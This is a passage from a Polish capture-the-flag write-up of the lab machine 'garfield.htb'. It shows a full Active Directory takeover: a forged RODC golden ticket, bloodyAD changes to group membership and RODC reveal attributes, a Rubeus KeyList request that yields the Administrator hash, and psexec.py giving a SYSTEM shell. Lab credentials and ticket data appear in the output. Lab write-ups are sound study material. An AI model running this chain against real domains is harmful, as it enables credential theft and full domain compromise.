[*] KDCKey         : D6C93CBE006372ADB8403630F9E86594F52C8105A52F9B21FEF62E9C7A75E240
[*] KDCKeyType     : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service        : krbtgt
[*] Target         : garfield.htb

[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'

[*] AuthTime       : 11/9/2026 5:20:29 PM
[*] StartTime      : 11/9/2026 5:20:29 PM
[*] EndTime        : 11/10/2026 3:20:29 AM
[*] RenewTill      : 11/16/2026 5:20:29 PM

[*] base64(ticket.kirbi):

      doIFkjCCBY6gAwIBBaEDAgEWooIEfzCCBHthggR3MIIEc6ADAgEFoQ4bDEdBUkZJRUxELkhUQqIhMB+g
      AwIBAqEYMBYbBmtyYnRndBsMZ2FyZmllbGQuaHRio4IENzCCBDOgAwIBEqEGAgQgNQAAooIEIgSCBB5v
      I/+VbCHtcBwaomQsv1GvbyOaVoldHImKfryWZnu7Lcs+peXN9mGRSyfyaeJyASal22C8QnrusDBR7gIe
      qXFSSYjLHFQIklp0BEWYU6xz9ljsCKZ2bhzxvMv65uuH7m7YiXCR0Pyvolq4e+hDl9Wjx53cq58IdWFS
      qcpcmvyd9kts1/jwzQxCkZ5puzJ/Eyj8um+nbUwwDOOP/8n7G6nH2Q5VbjKNkNucDI3TAFTK8slEBugK
      ytHLf3tSxJjSq7Ek3RXeU/nihEwwzg0lpkANfPxZzyP/sDhSx6rJRFRktMCTsx1d0F9iOSHEdlbyZIK5
      nq6s1VJN+OmUjcA4tz3f6/6U6ayqHPnDC4w+nhqBjNGfzG2bhgPGeF/ON4rPROO+3thi3MzfTBqW6P2g
      oYg17lXr0tjStUTX2XoCCeR7ywA6NfdQrpxsCF4q7c+C7XJqzx+6NHV81lxTVGw9sdDj/KSERNtRk5Wl
      3WuGI6Lffpyl3iBy88iJR3XHxzMz0GAmAm1I1gGHu5Smre+5sicvK8wXg+h5Y/cuXH3CQU5I1udQfaVW
      J7+8MpAFG1D+B9fU1VMo1fz5yXz3ISWZW54dgVImQ43V1JE7VVbLTMtogd8dP5OO5h839jD/yfwB1s/8
      KUr2rN6TMpDJIEmqobWYoOz9U5a32/8NTqbS8/m+3ywLl/a+cjhbo+48mpVD4I04gQZw/yXxHq0XlfQD
      Y1kSOzDAP+lnpZc3AbBEfb8JJwjK3qUn42nbky1Nu/ixQe+ROlZvGS/F8TYlrsIh6yxj30kpisEvIFx5
      Gu+OpJv+FQxQxfCmyx9bcyYCPoajz6hnl3BCytQItQUI8CrQqJuN20qN1bn7NxTkSH0pXTzepCtUuGQB
      7xBfIaSXnYtk5AJxM632xG9j4IgZuYHvUoqitTnPOGLUCv5d2wtRKzt5EcgYWRN55qSwzsdlNkvT7uab
      WM28ju18ZQgZwCL4nIEMUA6oMKc/cB15bTcnV7PXowd7epL/zrlR8xYHQRuNKnjvXzw/JZLr5ui2xlwg
      njThsjgF/OD0yzhtO6FrYjMr9BYzcRqxkoAxrETA4DzL3DhIAHXbyrCbN/O3afyJ/Pv2lUyaSNQ67vUB
      5K009ysEikbUxcV41UmNv5B0PL6Et5448+mI4br01bOG/SbtVMhrPQ+LQW6xFFqx1rkCTUQUQdzzZmGK
      zdOjmkK/asaep/dwDdddU0n5Q6A4HjpM4cyYtUami32CN77Fd59XdyH71xU0uQ0QRzkKJ3XNs/Yl/Bbx
      qCSoN5PlPOOf8H/8wZ9l7vTbg7ePHK5KESzsWLgwWHsjNjwF6ybSs04ye7EySVaoB3IVKf8V8BY3b0Zy
      HHWBm/jqlkMpG+2B/1DEuBg81JGqK+l0Sdmx/n0I7NC1o4H+MIH7oAMCAQCigfMEgfB9ge0wgeqggecw
      geQwgeGgKzApoAMCARKhIgQgCT1uxlcCreTZ7FytRuQuDk5CnBrcJVeYmPrNJet1UsahDhsMR0FSRklF
      TEQuSFRCohowGKADAgEBoREwDxsNQWRtaW5pc3RyYXRvcqMHAwUAQOAAAKQRGA8yMDI2MTExMDAxMjAy
      OVqlERgPMjAyNjExMTAwMTIwMjlaphEYDzIwMjYxMTEwMTEyMDI5WqcRGA8yMDI2MTExNzAxMjAyOVqo
      DhsMR0FSRklFTEQuSFRCqSEwH6ADAgECoRgwFhsGa3JidGd0GwxnYXJmaWVsZC5odGI=

Aby ten atak zadziałał musimy jeszcze zaktualizować atrybut msDS-RevealOnDemandGroup o konto Administratora oraz wyczyścić atrybut msDS-NeverRevealGroup zgodnie z informacjami w researchu wyżej. Niestety dostajemy błąd Insufficient access rights to perform the operation.:

rvr@rvr$ bloodyAD --host dc01.garfield.htb -d garfield.htb -k -u 'l.wilson_adm' -p 'Test1234!' \
  set object 'CN=RODC01,OU=DOMAIN CONTROLLERS,DC=GARFIELD,DC=HTB' \
  msDS-RevealOnDemandGroup \
  -v 'CN=Allowed RODC Password Replication Group,CN=Users,DC=garfield,DC=htb' \
  -v 'CN=Administrator,CN=Users,DC=garfield,DC=htb'

...[snip]...
badldap.commons.exceptions.LDAPModifyException: insufficientAccessRights for CN=RODC01,OU=DOMAIN CONTROLLERS,DC=GARFIELD,DC=HTB (Attr) — Reason:(ERROR_DS_INSUFF_ACCESS_RIGHTS) Insufficient access rights to perform the operation.

Ale w danych bloodhound możemy zobaczyć coś jeszcze:

l.wilson_adm jeszcze członkiem Tier 1 i może dodać siebie samego do grupy RODC Administrators. Po tej operacji wszystko działa.

rvr@rvr$ bloodyAD --host dc01.garfield.htb -d garfield.htb -k -u 'l.wilson_adm' -p 'Test1234!' \
add groupMember "RODC Administrators" l.wilson_adm

[+] l.wilson_adm added to RODC Administrators

Uaktualnienie atrybutu msDS-RevealOnDemandGroup:

rvr@rvr$ bloodyAD --host dc01.garfield.htb -d garfield.htb -k -u 'l.wilson_adm' -p 'Test1234!' \
  set object 'CN=RODC01,OU=DOMAIN CONTROLLERS,DC=GARFIELD,DC=HTB' \
  msDS-RevealOnDemandGroup \
  -v 'CN=Allowed RODC Password Replication Group,CN=Users,DC=garfield,DC=htb' \
  -v 'CN=Administrator,CN=Users,DC=garfield,DC=htb'

[+] CN=RODC01,OU=DOMAIN CONTROLLERS,DC=GARFIELD,DC=HTB's msDS-RevealOnDemandGroup has been updated

Wyczyszczenie atrybutu msDS-NeverRevealGroup:

rvr@rvr$ bloodyAD --host dc01.garfield.htb -d garfield.htb -k -u 'l.wilson_adm' -p 'Test1234!'   set object 'CN=RODC01,OU=DOMAIN CONTROLLERS,DC=GARFIELD,DC=HTB'  msDS-NeverRevealGroup
[+] CN=RODC01,OU=DOMAIN CONTROLLERS,DC=GARFIELD,DC=HTB's msDS-NeverRevealGroup has been updated

Sprawdzenie czy rekord istnieje:

rvr@rvr$ bloodyAD --host dc01.garfield.htb -d garfield.htb -k -u 'l.wilson_adm' -p 'Test1234!' \
  get object 'CN=RODC01,OU=DOMAIN CONTROLLERS,DC=GARFIELD,DC=HTB' \
  --attr msDS-RevealOnDemandGroup

distinguishedName: CN=RODC01,OU=DOMAIN CONTROLLERS,DC=GARFIELD,DC=HTB
msDS-RevealOnDemandGroup: CN=Allowed RODC Password Replication Group,CN=Users,DC=garfield,DC=htb; CN=Administrator,CN=Users,DC=garfield,DC=htb

Wysłanie żądania TGS-REQ zawierającym nasz golden ticket:

*Evil-WinRM* PS C:\ProgramData> .\Rubeus.exe asktgs /enctype:aes256 /keyList /service:krbtgt/garfield.htb /dc:dc01.garfield.htb /ticket:doIFkjCCBY6gAwIBBaEDAgEWooIEfzCCB
HthggR3MIIEc6ADAgEFoQ4bDEdBUkZJRUxELkhUQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMZ2FyZmllbGQuaHRio4IENzCCBDOgAwIBEqEGAgQgNQAAooIEIgSCBB5vI/+VbCHtcBwaomQsv1GvbyOaVoldHImKfryWZnu7Lc
s+peXN9mGRSyfyaeJyASal22C8QnrusDBR7gIeqXFSSYjLHFQIklp0BEWYU6xz9ljsCKZ2bhzxvMv65uuH7m7YiXCR0Pyvolq4e+hDl9Wjx53cq58IdWFSqcpcmvyd9kts1/jwzQxCkZ5puzJ/Eyj8um+nbUwwDOOP/8n7G6nH2Q5VbjKNkNucDI3TAFTK8slEBugKytHLf3tSxJjSq7Ek3RXeU/nihEwwzg0lpkANfPxZzyP/sDhSx6rJRFRktMCTsx1d0F9iOSHEdlbyZIK5nq6s1VJN+OmUjcA4tz3f6/6U6ayqHPnDC4w+nhqBjNGfzG2bhgPGeF/ON4rP
ROO+3thi3MzfTBqW6P2goYg17lXr0tjStUTX2XoCCeR7ywA6NfdQrpxsCF4q7c+C7XJqzx+6NHV81lxTVGw9sdDj/KSERNtRk5Wl3WuGI6Lffpyl3iBy88iJR3XHxzMz0GAmAm1I1gGHu5Smre+5sicvK8wXg+h5Y/cuXH3CQ
U5I1udQfaVWJ7+8MpAFG1D+B9fU1VMo1fz5yXz3ISWZW54dgVImQ43V1JE7VVbLTMtogd8dP5OO5h839jD/yfwB1s/8KUr2rN6TMpDJIEmqobWYoOz9U5a32/8NTqbS8/m+3ywLl/a+cjhbo+48mpVD4I04gQZw/yXxHq0Xlf
QDY1kSOzDAP+lnpZc3AbBEfb8JJwjK3qUn42nbky1Nu/ixQe+ROlZvGS/F8TYlrsIh6yxj30kpisEvIFx5Gu+OpJv+FQxQxfCmyx9bcyYCPoajz6hnl3BCytQItQUI8CrQqJuN20qN1bn7NxTkSH0pXTzepCtUuGQB7xBfIaS
XnYtk5AJxM632xG9j4IgZuYHvUoqitTnPOGLUCv5d2wtRKzt5EcgYWRN55qSwzsdlNkvT7uabWM28ju18ZQgZwCL4nIEMUA6oMKc/cB15bTcnV7PXowd7epL/zrlR8xYHQRuNKnjvXzw/JZLr5ui2xlwgnjThsjgF/OD0yzht
O6FrYjMr9BYzcRqxkoAxrETA4DzL3DhIAHXbyrCbN/O3afyJ/Pv2lUyaSNQ67vUB5K009ysEikbUxcV41UmNv5B0PL6Et5448+mI4br01bOG/SbtVMhrPQ+LQW6xFFqx1rkCTUQUQdzzZmGKzdOjmkK/asaep/dwDdddU0n5Q
6A4HjpM4cyYtUami32CN77Fd59XdyH71xU0uQ0QRzkKJ3XNs/Yl/BbxqCSoN5PlPOOf8H/8wZ9l7vTbg7ePHK5KESzsWLgwWHsjNjwF6ybSs04ye7EySVaoB3IVKf8V8BY3b0ZyHHWBm/jqlkMpG+2B/1DEuBg81JGqK+l0Sd
mx/n0I7NC1o4H+MIH7oAMCAQCigfMEgfB9ge0wgeqggecwgeQwgeGgKzApoAMCARKhIgQgCT1uxlcCreTZ7FytRuQuDk5CnBrcJVeYmPrNJet1UsahDhsMR0FSRklFTEQuSFRCohowGKADAgEBoREwDxsNQWRtaW5pc3RyYXR
vcqMHAwUAQOAAAKQRGA8yMDI2MTExMDAxMjAyOVqlERgPMjAyNjExMTAwMTIwMjlaphEYDzIwMjYxMTEwMTEyMDI5WqcRGA8yMDI2MTExNzAxMjAyOVqoDhsMR0FSRklFTEQuSFRCqSEwH6ADAgECoRgwFhsGa3JidGd0Gwxn
YXJmaWVsZC5odGI=

  ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.3.3

[*] Action: Ask TGS

[*] Requesting 'aes256_cts_hmac_sha1' etype for the service ticket
[*] Building KeyList TGS-REQ request for: 'Administrator'
[*] Using domain controller: dc01.garfield.htb (fe80::decf:b1ef:a822:e554%7)
[+] TGS request successful!
[*] base64(ticket.kirbi):

      doIFnjCCBZqgAwIBBaEDAgEWooIEsTCCBK1hggSpMIIEpaADAgEFoQ4bDEdBUkZJRUxELkhUQqIhMB+g
      AwIBAqEYMBYbBmtyYnRndBsMR0FSRklFTEQuSFRCo4IEaTCCBGWgAwIBEqEDAgECooIEVwSCBFM5bno5
      io8k3zWS5AmB8uvU9d1vyuskkzRfbBeY3roWwvpTQRU2xu8TLhRWhpY/gERTpUDgWekfpVQG6zDyVk6j
      x2+9b3/ks93id4l6MJRnkTjkPcq7kRZNy5jMdJAIN+NKbZuRIEyNxiyyQthJXu7ZOoXIPlmh0xe59SrG
      x9CexrB5/T0V5kCNLC+qacIyE05bukxMhBiQsj5kGAZqewL8PkELduIMb/Peb4SYbAmBGe4JD7PhqDlI
      n2zXgCydOjzXdLtOGiDxOMoZoPj2Zxvd/geBnyrHWCjzsfVHq0Lt05KD3qsNJBtQtWrdzUJxjKteRyFW
      +9Fjtupceq2MZMQKiNL+pj7BvSNQBbACHjBA2NIETgU1A4B79dXPnQDmPPqDtuWCC6n/bGopbN8MqpOv
      AqneJjio0XPFQI6eTDm3izNXEsTXynOPsrMI7dBjiAR+LcurCO/mIWe4o3+LU7SvTHak655nV6qfET/y
      7vd8PVEM6Jk1nGnc1AKZmJxRokwt4yUR1QY4Ur8LWCM8Sx4TMZoLsMMDIWBXhlnLKPQqC7wOehksvGqL
      S3KWX4WH70aDR7+6Ah9j9srG53j3QeoCFqrGcHUE4RdgEu+vCmEWzZ60bcb5Q9uWKyznu4WeXk0VcQqT
      hglIUlAnoiZ3fu/zakxVzaTQWBUvNTjcaYraDQi2q/RR5fE+sxO5RZbAQobDx+GnGBEjE4E/1xb2FtZZ
      CgK2ZJxTOWv46fD0NKFRXsmKx4DHk99kQq5cvhwF4FBl9kuvOjVgUFbdDLBYuB1JbV8vejp2C4UOEsKy
      IgEDm5nmhoKQ5BXCWvLn//Cy+Lr6ccHQwfts5spYF/fGdMLlhR89SxQn07si0+JhsLjhx1Fbq24drqJK
      iJRvCUcbzmiMdQvFoMENRoy1W9RMDxw6rzp0jGhMsbBiP7MTB2d2348fT/ra2d8i6emU/HuYuFQnHCd/
      +99Iw34HnwWeQ3ey0GWRmo9P+hrUCxEXxGR12UL5DMLqc7j4Fxe0Sk2zDZFtQ+sQoz3j30S/7U60MnwI
      OJktl1s6VntJz0saA0wJKzKf7Yo+d1IQBJXDXxnmKbLwShDf7R6ol8+XmbeE/SasGmkZtQaVNGmaXxUn
      1zpQYEFd53PmaSRj5aMyvBCj8aWa0OUD5Vu63eSM+CsKNoKzXUPeP3xGElhJ/km1miQuWSj2st/kNSLe
      F8pf2u3EGihSG7MOpumh1D4zX7v+rVN+sxPaeOYLIiFuFkBpdVLsMDwI0wHLsy4PG5k3mAkrELuAwHKT
      3i0rFkq7EgEvSX9OvtAmQqlMaqORsdsVKqlCU/28iOMuEfLhZUoefpsl7yvXec1JbmGlfq9QBUO+xWn8
      zqMgmRxjfloso2B/cysHiTDnShTfIS9MW2Jv06VDevNr6glHe9oilQfZSWYh+x8CpsRrH4OwN1t0XGuG
      RIj1BaTwAkroB3NoyP+HxXyPFY3pmNSjgdgwgdWgAwIBAKKBzQSByn2BxzCBxKCBwTCBvjCBu6ArMCmg
      AwIBEqEiBCDFgLbJSsIFgp3RApby8/vqdjeRWLqHz3zEI0KD1H2pfqEOGwxHQVJGSUVMRC5IVEKiGjAY
      oAMCAQGhETAPGw1BZG1pbmlzdHJhdG9yowcDBQAAIQAApREYDzIwMjYxMTEwMDM1MTUxWqYRGA8yMDI2
      MTExMDExMjAyOVqoDhsMR0FSRklFTEQuSFRCqSEwH6ADAgECoRgwFhsGa3JidGd0GwxHQVJGSUVMRC5I
      VEI=

  ServiceName              :  krbtgt/GARFIELD.HTB
  ServiceRealm             :  GARFIELD.HTB
  UserName                 :  Administrator (NT_PRINCIPAL)
  UserRealm                :  GARFIELD.HTB
  StartTime                :  11/9/2026 7:51:51 PM
  EndTime                  :  11/10/2026 3:20:29 AM
  RenewTill                :  1/1/0001 12:00:00 AM
  Flags                    :  name_canonicalize, pre_authent
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  xYC2yUrCBYKd0QKW8vP76nY3kVi6h898xCNCg9R9qX4=
  Password Hash            :  EE238F6DEBC752010428F20875B092D5

Na końcu musimy przekonwertować plik .kirbi na ticket .ccache, który będziemy mogli użyć np. w psexec:

rvr@rvr$ cat rubeus.ticket.kirbi.b64 | base64 -d > rubeus.ticket.kirbi
rvr@rvr$ ticketConverter.py rubeus.ticket.kirbi administrator.ccache

Impacket v0.14.0.dev0+20251120.95652.9c2d8b61 - Copyright Fortra, LLC and its affiliated companies
                           
[*] converting kirbi to ccache...   
[+] done

Wreszcie możemy się połączyć z AD przy pomocy psexec.py podając ticket Administratora i odczytać flagę root.txt:

rvr@rvr$ KRB5CCNAME=administrator.ccache psexec.py -k -no-pass 'garfield.htb/[email protected]'
Impacket v0.14.0.dev0+20251120.95652.9c2d8b61 - Copyright Fortra, LLC and its affiliated companies

[*] Requesting shares on dc01.garfield.htb.....
[*] Found writable share ADMIN$
[*] Uploading file smIduTzD.exe
[*] Opening SVCManager on dc01.garfield.htb.....
[*] Creating service dfas on dc01.garfield.htb.....
[*] Starting service dfas.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.8385]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> cd C:\Users\Administrator\Desktop

C:\Users\Administrator\Desktop> dir
 Volume in drive C has no label.
 Volume Serial Number is BB12-A7B1

 Directory of C:\Users\Administrator\Desktop

03/14/2026  12:14 AM    <DIR>          .
03/14/2026  12:14 AM    <DIR>          ..
04/09/2026  01:04 PM                34 root.txt
               1 File(s)             34 bytes
               2 Dir(s)   4,002,963,456 bytes free

C:\Users\Administrator\Desktop> type root.txt
7ef2be**************************

exit
[*] Process cmd.exe finished with ErrorCode: 0, ReturnCode: 0
[*] Opening SVCManager on dc01.garfield.htb.....
[*] Stopping service dfas.....
[*] Removing service dfas.....
[*] Removing file smIduTzD.exe.....

.css-yixlj4{margin-left:-20px;padding-right:4px;color:var(--theme-ui-colors-primary);}.css-ttyvc7{color:var(--theme-ui-colors-primary);}.css-1er51ag{color:var(--theme-ui-colors-primary);color:var(--theme-ui-colors-primary);}Dane wejściowe

Dane wejściowe